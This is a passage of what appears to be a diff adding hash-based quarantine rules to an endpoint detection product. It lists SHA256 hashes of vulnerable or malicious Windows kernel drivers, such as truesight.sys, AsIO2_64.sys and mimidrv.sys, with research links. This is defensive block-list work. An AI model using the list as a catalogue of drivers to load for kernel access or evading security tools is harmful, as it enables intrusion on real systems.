+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.823131Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c25cb17f5879e9c2fb4c91adb18e24b50a94738d5deb62a4189065bcf2c1d86b",
+  "comment": "Vulnerable Kernel Driver (aka atlAccess.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "023a4130-a2e0-57af-9545-06a253b1cd65",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.834214Z",
+  "creation_date": "2026-03-23T11:45:30.834217Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.834225Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fc9c62312b035c2b954ee633b3e6c5cc7c5cca3e8c03b3818db49f69020185b7",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0244398e-db56-5e38-ab46-58c36fda2e2d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.145546Z",
+  "creation_date": "2026-03-23T11:45:32.145549Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.145555Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a1f79a2e1441970bb3e7c838f8c14a8f3d39a46b0ff9648614e922ac475c743d",
+  "comment": "Vulnerable Kernel Driver (aka ADRMDRVSYS.sys) [https://www.loldrivers.io/drivers/48aeea9b-7812-4b25-9835-baaebe7dc551/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "024bed7d-e9ba-58a8-a5ba-2e132030e4ee",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.621686Z",
+  "creation_date": "2026-03-23T11:45:29.621688Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.621693Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "48891874441c6fa69e5518d98c53d83b723573e280c6c65ccfbde9039a6458c9",
+  "comment": "ASUSTeK GPU vulnerable physmem driver (aka AsIO2_64.sys) [https://syscall.eu/blog/2020/03/30/asus_gio/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "025c31d8-a310-58bc-9d95-e2d49f2e917e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.480544Z",
+  "creation_date": "2026-03-23T11:45:30.480546Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.480551Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "37b0aaf4e3cdc9d4c475a3a08ad2ba1e28e177d7359546c9b0bba14ae73dfed0",
+  "comment": "Vulnerable Kernel Driver (aka GtcKmdfBs.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0263d854-319f-5b8b-b575-ab9a1bc1f3f0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.829341Z",
+  "creation_date": "2026-03-23T11:45:30.829343Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.829348Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a35bcff21cb4869740ebf64cb6316c28acef3fbd03e33c38f4a97c9ea442dde1",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0266b22b-3019-5aab-bf3d-282d4cea4c72",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.480010Z",
+  "creation_date": "2026-03-23T11:45:30.480012Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.480018Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "655110646bff890c448c0951e11132dc3592bda6e080696341b930d090224723",
+  "comment": "Vulnerable Kernel Driver (aka gpcidrv64.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0266cec8-c150-5aa8-b4d4-992fdb7759a5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.483752Z",
+  "creation_date": "2026-03-23T11:45:31.483756Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.483766Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f6f3379b18b84b4bfe6ab0f5e332956f6f87ca5062aa3acd4739d9a6d3c33392",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "026d57f8-faaa-552f-ae4b-c54e7a8f8528",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.621530Z",
+  "creation_date": "2026-03-23T11:45:29.621532Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.621537Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7236c8ff33c0e5cfa956778aa7303f1979f3bf709c361399fa1ce101b7e355b8",
+  "comment": "ASUSTeK GPU vulnerable physmem driver (aka AsIO2_64.sys) [https://syscall.eu/blog/2020/03/30/asus_gio/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "027a1ffb-92c1-5578-876a-1456143ef7ad",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.469951Z",
+  "creation_date": "2026-03-23T11:45:30.469954Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.469964Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "16274f4d9293fff056268a2d53c1a2e27db26d6b643f24651b5f2a0c055b7f40",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "027d6a6a-7489-5e2f-b40d-df770288208b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.479984Z",
+  "creation_date": "2026-03-23T11:45:31.479988Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.479997Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "19429c971c279d564c84b24efadc66a0ccdea4e45cf0f795fb59f7b0e46387b0",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0283cc9a-8dbe-577b-86d7-04cb2857605c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.488240Z",
+  "creation_date": "2026-03-23T11:45:31.488242Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.488248Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a76f8d98f689166abfb86c50ff83f3f8693404f7c457de48d04cb6ccd4887ef5",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "029772cd-05a0-58d0-9ad1-dd415300042b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.488925Z",
+  "creation_date": "2026-03-23T11:45:31.488927Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.488932Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f2e64bd2c50f6032e070776b3687f7e3cb0a5c02c10ca54176ce7877c5bdf9c9",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "029f8029-e5b3-59c0-b1f0-57af43acad0e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.144700Z",
+  "creation_date": "2026-03-23T11:45:31.144702Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.144708Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "552ed099bb06f83c3a41a8963556800ec5a579be4f51bd5df9b945520a584d4c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "02adc0e1-b524-5bab-acad-928666181a01",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.160952Z",
+  "creation_date": "2026-03-23T11:45:31.160954Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.160960Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "31ec72cdcf6dd4eb8642f8546cb9995a5f5c7d0afd5b89fad961697676e6ca8a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "02beeddf-cf27-5c70-b160-e06e0539a9ed",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.500064Z",
+  "creation_date": "2026-03-23T11:45:31.500067Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.500075Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "77641e765a14d98a2f06cb05400eddb086d49bdff7d809f193266a2ba0516113",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "02c3a900-6337-515e-ba02-ec79052cb575",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.826901Z",
+  "creation_date": "2026-03-23T11:45:30.826904Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.826909Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d8291a0fdd796f6fe82fccbe4c7ee4dcc7d8e4927d40abe18ebcc61a9cb16fb1",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "02c7fc85-ee32-5340-b2c7-3717749fedbe",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.477519Z",
+  "creation_date": "2026-03-23T11:45:30.477522Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.477532Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "16b591cf5dc1e7282fdb25e45497fe3efc8095cbe31c05f6d97c5221a9a547e1",
+  "comment": "Vulnerable Kernel Driver (aka elbycdio.sys) [https://www.loldrivers.io/drivers/855ade1f-8a9e-4c9d-ab8e-d7e409609852/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "02cda463-0ae0-5464-ab49-618f1c7f918f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.479862Z",
+  "creation_date": "2026-03-23T11:45:30.479864Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.479881Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b0dcdbdc62949c981c4fc04ccea64be008676d23506fc05637d9686151a4b77f",
+  "comment": "Vulnerable NVIDIA Kernel Driver (aka nvoclock.sys) [https://github.com/zer0condition/NVDrv] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "02d2dd45-fc87-5295-ab1f-6c182b37e5b0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.148700Z",
+  "creation_date": "2026-03-23T11:45:31.148703Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.148711Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b6ff9674ce64230ea72ef866594640115a7560d2ce969f24ff15e1cd818c5cb6",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "02d36425-67b5-56c6-b285-9ea08ee85b87",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.615118Z",
+  "creation_date": "2026-03-23T11:45:29.615120Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.615125Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7893307df2fdde25371645a924f0333e1b2de31b6bc839d8e2a908d7830c6504",
+  "comment": "MICRO-STAR vulnerable drivers (aka NBIOLib_X64.sys, NTIOLib_X64.sys, NTIOLib.sys and NBIOLib.sys) [CVE-2021-44899] [http://blog.rewolf.pl/blog/?p=1630] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "02db34b9-8176-56cc-9398-df47a51ebb2f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.155258Z",
+  "creation_date": "2026-03-23T11:45:31.155260Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.155266Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "06bb219d68e32c270b3cbaae0fd053c39febb0b6ae6f72df347e49c29c5183f8",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "02dc9788-6aeb-5161-9bad-2c97e18b50ee",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.825448Z",
+  "creation_date": "2026-03-23T11:45:30.825450Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.825456Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1c9f9f49d85991f002fdeb6cf8424e5db99edc6e1ce3b9e28841307a497312dc",
